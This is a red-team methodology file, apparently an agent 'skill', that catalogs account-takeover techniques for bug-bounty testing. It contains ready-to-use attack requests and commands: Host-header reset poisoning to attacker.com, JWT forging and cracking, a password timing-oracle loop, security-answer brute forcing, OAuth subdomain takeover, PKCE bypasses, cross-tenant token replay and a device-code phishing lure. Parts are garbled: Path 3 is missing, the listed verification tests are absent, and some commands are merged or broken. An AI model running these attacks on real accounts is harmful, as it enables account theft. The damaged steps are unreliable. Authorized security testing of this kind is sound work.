Hunt account takeover taxonomy — 9 distinct paths to ATO, plus chains. Paths: (1) password reset flaws (host-header injection redirects token, predictable/numeric token, Referer leak, no-expiry/reuse), (2) email change without re-auth, (3) OAuth account-link CSRF, (4) MFA bypass (per hunt-mfa-bypass), (5) session fixation, (6) JWT manipulation (alg:none, RS256→HS256 key confusion, weak HMAC secret, kid injection), (7) password change without step-up (chain with login timing/length oracle), (8) social-recovery / security-question brute-force, (9) SSO subdomain takeover at OAuth redirect_uri. Chains: cookie theft + password oracle + no step-up = persistent ATO; lax redirect_uri = auth-code theft; dangling-CNAME takeover at redirect_uri = ATO. Validate: demonstrate real takeover of test account B from attacker A's session; OOB/Collaborator confirm blind token-leak steps. Use when hunting ATO chains, testing password reset / email change / MFA / OAuth / session / JWT, or chaining primitives toward Critical.
version
1.1.0
revision_date
"2026-07-25T00:00:00.000Z"
license
MIT
category
redteam
tags
["ATO","account-takeover","hunt","redteam"]
13. ATO — ACCOUNT TAKEOVER TAXONOMY
9 distinct paths. ATO is a destination class, not a single bug — each path below is a primitive that becomes Critical only when you demonstrate takeover of a SECOND account (test account B) you do not control, from attacker A's session/IP/device. A path that only locks you out of your own account, or only works when you already hold the victim's password AND session, is not a standalone ATO.
Path 1: Password Reset Poisoning (Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
email=victimB@company.com
The reset mailer builds the link from the request Host header → link points to attacker.com/reset?token=XXXX. Confirmation = OOB, not response-based: point the header at a Burp Collaborator / unique DNS name and read the actual email (use a controlled victim B inbox you own for the test). If the token only appears in the email body that lands at your Collaborator host, you have proof.
False-positive killer: many apps put attacker.com in the email but the actual link domain is server-pinned — read the email, do not infer from the reflected header.
Path 2: Reset Token in Referer / Open-Redirect Leak
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
Also test reset pages that 302 to an open redirect carrying the token in the URL. Proof: capture the outbound request in the Network tab (or Collaborator if you control the off-origin host) showing the full token in the Referer. Mitigated by Referrer-Policy: no-referrer + tokens in POST body — note their absence.
Discipline: request the victim-B token yourself (you own B), confirm entropy by sampling, THEN show a fresh brute lands. A rate-limit-only finding on /forgot-password is routinely rejected — the impact is token guessing, not request flooding.
Path 4: Token No-Expiry / Reuse / Cross-Account
Expiry: request token → wait 2h → still valid? = bug
Reuse: use token once → use again → still valid? = bug
Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
Path 5: Email Change Without Re-Auth
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"attacker@evil.com"} # no current_password, no OTP, no email-confirm
If the change takes effect with no current-password challenge and no confirm-link to the OLD address, trigger password reset → reset lands at attacker mailbox → ATO. The strongest variant skips even the new-address confirmation. Branded pattern: account-link / email-change → ATO via missing re-auth.
Path 6: JWT Manipulation
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature## (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it## (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT## (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
Verified grounding for this class:CVE-2015-9235 (node jsonwebtoken <4.2.2 — alg confusion / none bypass), CVE-2016-10555 (jwt-simple RS256→HS256). Validate: forged token must reach a privileged endpoint as victim B (e.g. GET /api/admin or /api/users/B) — decoding/forging is not impact; an authorized action under B's identity is. If the server ignores the forged sub and keys off the session cookie, the JWT is not the trust boundary — no finding.
Path 7: Password Change Without Step-Up + Login Oracle
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"} # no "current_password" field## (b) login oracle to find a valid password without an existing cookie — measure response delta:for p in $(cat candidates.txt); do
t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
printf'%s\t%s\n'"$t""$p"done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
A no-step-up password-change endpoint is the persistence multiplier: cookie theft (transient) + this = attacker sets a new password from the stolen cookie → owns B from any device/IP, victim locked out. False-positive check: confirm there is genuinely no current-password / MFA gate — many APIs accept the field as optional but still 403 server-side; replay without the field and read the actual state change (try logging in with the new password from a clean browser).
Path 8: Social-Recovery / Security-Question Abuse
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"victimB@company.com","question":"pet","answer":"FUZZ"}' \
-w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)
Pair with offensive-osint: many "secret" answers (birth city, pet, school) are public on social profiles → no brute needed. Validate by completing the recovery flow end-to-end into a session on account B.
Path 9: SSO Subdomain Takeover at OAuth redirect_uri
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com # CNAME -> nonexistent-app.herokuapp.com (NXDOMAIN on the target)# (c) claim that host on the cloud provider, serve a callback that logs the ?code=# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain
Confirmation = OOB: the auth code (or implicit access_token) must actually arrive at the host you claimed — log it server-side and exchange it for B's token. A redirect_uri that merely reflects an off-origin value but bounces the code through a server-pinned exchange is not exploitable. Decode any error body as JSON, not substring — AADSTS50076 / claims-challenge responses contain a literal access_token substring inside the claims field that is NOT a usable token.
High — one email click OR a pre-existing session/cookie required (Referer leak, no-step-up password change behind cookie theft).
Medium — requires phishing + active user interaction (OAuth-link CSRF needing the victim to click + be logged in).
Low — attacker must be MitM, or only self-account impact.
Path 10: OAuth Device Code Flow Abuse (RFC 8628)
The Device Authorization Grant (OAuth device flow) is designed for input-constrained devices, but
attackers abuse it for phishing, MFA bypass, and cross-tenant token theft.
How the flow works (abused):
Client requests device code: POST /oauth/devicecode with client_id + scope
Server returns: device_code, user_code, verification_uri, interval
Attacker tricks victim into visiting verification_uri and entering user_code
Victim authenticates (often MFA-less on device flow) and authorizes
Attacker polls POST /oauth/token with device_code → receives access/refresh tokens
Attack vectors:
A. Phishing with device codes (ATO via authorization code theft)
# Step 1: Request a device code from the OAuth provider
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/devicecode" \
-d "client_id=VICTIM_CLIENT_ID&scope=openid profile email offline_access"# Response: {"device_code":"...","user_code":"ABCD-1234","verification_uri":"https://target.com/device","interval":5}# Step 2: Craft phishing email: "Please verify your account at https://target.com/device# and enter code: ABCD-1234 to unlock your account"# Step 3: Victim enters code on legitimate OAuth page → authenticates# Step 4: Attacker polls for token:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/token" \
-d "client_id=VICTIM_CLIENT_ID&grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=THE_DEVICE_CODE"# → Attacker receives victim's access_token + refresh_token → full ATO
B. MFA bypass via device flow
Many OAuth providers do NOT enforce MFA on the device authorization endpoint because "devices
can't do MFA." If the authorization code / implicit flow requires MFA but device flow doesn't:
# Compare: standard auth requires MFA
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=xxx
# → MFA challenge# Device flow skips MFA entirely
POST /oauth/devicecode
# → No MFA, direct token grant# Proof: if your account has MFA enabled but device flow produces tokens without MFA → finding
C. Cross-tenant device code (Azure AD / Entra ID)
Azure AD device codes are tenant-agnostic — the user_code works on any tenant's verification page:
# Attacker requests device_code from Azure AD common endpoint (any tenant):
curl --max-time 30 --connect-timeout 10 -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=YOUR_CLIENT_ID&scope=user.read"# Victim at ANOTHER organization enters the user_code# If their tenant trusts the app → victim's token issued → cross-tenant ATO
PKCE (Proof Key for Code Exchange, RFC 7636) is designed to protect the authorization code flow
in public clients. Many implementations fail to enforce it correctly:
Bypass 1: No PKCE enforcement
# Send auth request WITHOUT code_challenge
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb
# Exchange code WITHOUT code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
redirect_uri=https://app.com/cb
# If accepted → PKCE not enforced → authorization code interception vulnerability
Bypass 2: code_challenge_method=plain (should be S256)
# Auth request with plain challenge (SHA256 should be required)
GET /oauth/authorize?response_type=code&client_id=xxx&code_challenge_method=plain&code_challenge=ATTACKER_STATIC_VALUE
# Exchange with corresponding code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
code_verifier=ATTACKER_STATIC_VALUE
redirect_uri=https://app.com/cb
# If accepted → plain method exposes the PKCE challenge to MitM
Bypass 3: code_challenge accepted but code_verifier not validated
# Auth request WITH code_challenge=S256:<hash># Token exchange WITHOUT code_verifier or with wrong code_verifier:
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
# no code_verifier field# If token issued → PKCE is decorative, not enforced
Bypass 4: Reuse authorization code after PKCE exchange
Some servers expire the code but accept the same PKCE verifier twice:
# Exchange code once → success# Exchange same code again with same code_verifier → if second exchange also works → code replay
Cross-tenant attacks exploit trust relationships between Azure AD tenants and multi-tenant OAuth apps.
Attack 1: prompt=none silent auth abuse
# If an app allows multi-tenant authentication, prompt=none skips the login UI:
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&prompt=none&login_hint=victim@victim-tenant.com&domain_hint=organizations
# If the user has an existing session with the app → code issued silently# If prompt=none is accepted by the authorization server but the user ISN'T logged in →# the server returns error=login_required instead of prompting, which still confirms the# user's existence (enumeration via OAuth)
Attack 2: Tenant ID / domain_hint manipulation
# Azure AD multi-tenant apps often validate tenant from the token, not the request# Try swapping tenant IDs:
GET /victim-tenant.onmicrosoft.com/oauth/authorize?...
# vs:
GET /attacker-tenant.onmicrosoft.com/oauth/authorize?...
# If the app accepts tokens from BOTH tenants → cross-tenant token replay possible# Test with curl:
curl --max-time 30 --connect-timeout 10 -v "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=xxx&response_type=code&redirect_uri=https://app.com/cb&domain_hunt=organizations&state=test"
Attack 3: Cross-tenant token replay
# 1. Register same app client_id in YOUR tenant# 2. Authenticate as user in YOUR tenant → get access_token# 3. Use that token against the VICTIM's tenant API
curl --max-time 30 --connect-timeout 10 -H "Authorization: Bearer *** https://victim-tenant.com/api/user/me
# If accepted → the app doesn't validate the "tid" (tenant ID) claim → cross-tenant ATO
Detection — find cross-tenant vulnerabilities:
# Check if app is multi-tenant by probing with unauthorized tenant credentials# Get token from attacker tenant, then test against victim API:
TOKEN=$(curl --max-time 30 --connect-timeout 10 -s -X POST 'https://login.microsoftonline.com/attacker-tenant.onmicrosoft.com/oauth2/v2.0/token' -d 'client_id=xxx&scope=https://target.com/.default&grant_type=client_credentials&client_secret=xxx' | python3 -c 'import sys,json; print(json.load(sys.stdin).get("access_token",""))')
curl --max-time 30 --connect-timeout 10 -s -H "Authorization: Bearer $TOKEN""https://target.com/api/user/me" -w "\nHTTP %{http_code}"
Verification
Run this self-test to confirm ATO hunting readiness:
Password reset poisoning test — verify Host-header injection probe syntax:
All 4 tests verify the ATO hunting methodology is properly documented.
Pitfalls
Self-ATO is not ATO — changing your own password, resetting your own account, or locking yourself out proves nothing. You MUST demonstrate takeover of a SECOND test account (victim B) from attacker A's session/IP.
Host-header injection without email confirmation — the reflected header value appearing in a test response doesn't prove the reset link was poisoned. Read the actual email (use a Collaborator domain and a controlled victim B inbox).
Predictable token without exploitation — finding a pattern (sequential numeric, timestamp-based) is a primitive, not ATO. Demonstrate actual token prediction and account takeover.
No-expiry token is not Critical alone — a token that doesn't expire is a primitive. Combine with token-leak vector (Referer, open redirect, logs) to reach Critical.
OAuth redirect_uri lax matching without subdomain takeover — redirect_uri=*.target.com is only exploitable if you can host on a subdomain you control. Without takeover, this is Low at best.
PKCE test with S256 but no check of plain fallback — if the server accepts plain code_challenge_method but the client uses S256, the plain path is the vulnerability. Test both.
Device code flow polling interval — if the interval is 5 seconds, brute-force is impractical. Only exploitable when the interval is very short (<1s) or the code space is small.
Cross-tenant token replay without token validation — if the tid (tenant ID) claim is validated by the API, cross-tenant replay fails. Verify the token is accepted before reporting.
Cookie theft chain without demonstrating the chain — "if an attacker steals the cookie" is not a finding. Demonstrate the theft vector (XSS, token leak, MITM) or chain with a real cookie-leak primitive.
Related Skills & Chains
hunt-idor — The most reliable ATO primitive that needs no email control and no race. Chain primitive: PATCH /api/users/{victimB_uid} with attacker-A session + victim UID + {"email":"attacker@evil.com"} → trigger password reset → reset email arrives at attacker → full ATO, zero victim interaction (Path 5 + IDOR = Critical).
hunt-mfa-bypass — Path 7 is only Critical if it also bypasses MFA. Chain primitive: password-change endpoint accepts a new password with no current-password challenge AND no MFA step-up → cookie theft (XSS / token leak) + login timing oracle → set new password from the stolen cookie → MFA-less ATO from any IP/device.
hunt-oauth — Path 9 lives here. Chain primitive: redirect_uri validation accepts subdomain match (*.target.com) + hunt-subdomain reveals a dangling CNAME on staging.target.com → claim it on Heroku/S3 → host an OAuth callback → victim clicks the crafted authorize URL → code lands on the attacker subdomain → exchange for token → ATO. Always JSON-parse OAuth error bodies; never substring-match access_token.
hunt-api-misconfig — Path 6 (JWT) detail lives here too: alg:none, RS256→HS256 key confusion (sign with the JWKS public key as the HMAC secret), kid path-traversal / SQLi, and weak-secret cracking (hashcat -m 16500). Load it together with this skill for the JWK→PEM conversion mechanics.
hunt-host-header — Path 1 canonical primitive. Chain primitive: POST /forgot-password with Host/X-Forwarded-Host: attacker.com → mailer builds the link from the request Host → link points to attacker.com/reset?token=XXXX → victim clicks → token leaked → ATO. Confirm via Collaborator-hosted domain reading the real email, not the reflected header.
offensive-osint — Path 8 force-multiplier: most security-question answers (birth city, pet, first school, mother's maiden name) are OSINT-able from social profiles → recover account B with no brute force at all.
security-arsenal — Pull the Password-Reset Bypass Tables (X-Forwarded-Host, X-Host, X-HTTP-Host-Override, dual-Host smuggling), token-entropy payloads (sequential numeric, time-based predictable), the JWT attack table, and the always-rejected list for "rate-limit on /forgot-password" reports.
triage-validation — Run the Pre-Severity Gate before claiming Critical on an ATO that needs the victim to click a link AND enter credentials AND pass CAPTCHA. The reproducibility step (10-minute fresh-browser walkthrough taking over test account B from attacker A's session) separates Critical-paid from Self-XSS-tier rejected.
